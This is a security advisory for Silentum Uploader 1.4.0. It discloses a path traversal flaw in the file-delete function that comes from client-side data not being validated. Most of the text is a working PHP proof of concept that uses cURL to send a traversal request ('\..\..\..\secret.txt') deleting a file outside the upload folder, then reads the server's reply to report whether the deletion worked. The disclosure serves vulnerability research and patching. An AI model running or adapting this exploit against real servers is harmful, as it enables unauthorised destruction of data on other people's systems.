Vendor: http://hypersilence.net Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions) Credit: Danny Moules Critical: Yes
See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=2
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Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory.
The following PoC will delete a file named 'secret.txt' one level above the application folder.
You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files.
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<?php
$strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default $strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion $strUploadScript = "http://www.example.com/uploader/upload.php";
$objCurl = curl_init(); curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete); curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true); $strDump = curl_exec($objCurl); curl_close($objCurl);
if(strpos($strDump, "No such file or directory") !== false) { echo("$strToDelete didn't exist. \n"); } else if(strpos($strDump, "Permission denied") !== false) { echo("Permission was denied when deleting $strToDelete. \n"); } else if(strpos($strDump, "function.unlink") !== false) { echo("An unexpected error occured when deleting $strToDelete. \n"); } else { echo("Looks as though deletion of $strToDelete was successful.\n"); }
?>
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